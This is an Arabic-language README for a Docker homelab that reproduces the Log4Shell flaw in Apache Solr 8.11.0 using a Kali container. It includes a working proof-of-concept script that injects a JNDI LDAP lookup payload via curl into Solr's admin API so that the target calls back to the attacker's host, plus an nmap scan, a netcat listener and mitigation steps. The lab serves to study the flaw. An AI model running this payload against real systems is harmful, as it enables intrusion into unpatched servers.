
Log4j Vulnerability homelab
بيئة خاضعة للرقابة في Docker لإعادة إنتاج ودراسة ثغرة Log4Shell في Apache Solr.
solr-lab): Apache Solr الإصدار 8.11.0 (vulhub/solr:8.11.0) يعمل بنسخة ضعيفة من Log4j.kali-lab): حاوية Kali Linux أساسية مع nmap و curl و netcat مثبتة مسبقًا.في الطرفية الخاصة بك، ارفع البيئة في الخلفية:
docker compose up -d --build
docker compose exec -it kali-lab /bin/bash
داخل حاوية Kali، اكتشف شبكتك الفرعية وحدد عنوان IP الخاص بـ Apache Solr:
# 1. اعرض عنوان IP وقناع الشبكة
hostname -I
# 2. امسح الشبكة الداخلية للعثور على IP الهدف (منفذ Solr: 8983)
# (استبدل الشبكة الفرعية أدناه وفقًا للـ IP الذي حصلت عليه من الأمر السابق)
nmap -p 8983 172.20.0.0/24
النص البرمجي poc.sh يقوم بحقن حمولة lookup JNDI في معامل واجهة برمجة تطبيقات إدارة Solr.
poc.sh)#!/usr/bin/env bash
if [ "$#" -lt 2 ]; then
echo "الاستخدام: $0 <lhost> <rhost> [lport]"
echo "مثال: $0 172.20.0.3 172.20.0.2 1389"
exit 1
fi
KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"
echo "[*] الهدف: $TARGET"
echo "[*] المهاجم (LDAP): $KALI على المنفذ $PORT_KALI"
echo "[*] إطلاق الاستغلال..."
curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"
لا تزال داخل Kali، امنح الإذن للنص البرمجي وقم بتشغيله مع تمرير عناوين IP الصحيحة:
chmod +x poc.sh
./poc.sh <IP_KALI> <IP_SOLR> 1389
ماذا يحدث هنا؟ سيقوم Solr بمعالجة الطلب ومحاولة فتح اتصال LDAP عائدًا إلى عنوان IP الخاص بـ Kali على المنفذ المحدد. يمكنك مراقبة محاولة الاتصال هذه عن طريق فتح مستمع سريع في Kali قبل تشغيل النص البرمجي (مثال:
nc -lnvp 1389).
لإصلاح الخلل في Log4j 2:
2.15.0 أو 2.17.1).-Dlog4j2.formatMsgNoLookups=true عند بدء تشغيل Java.zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class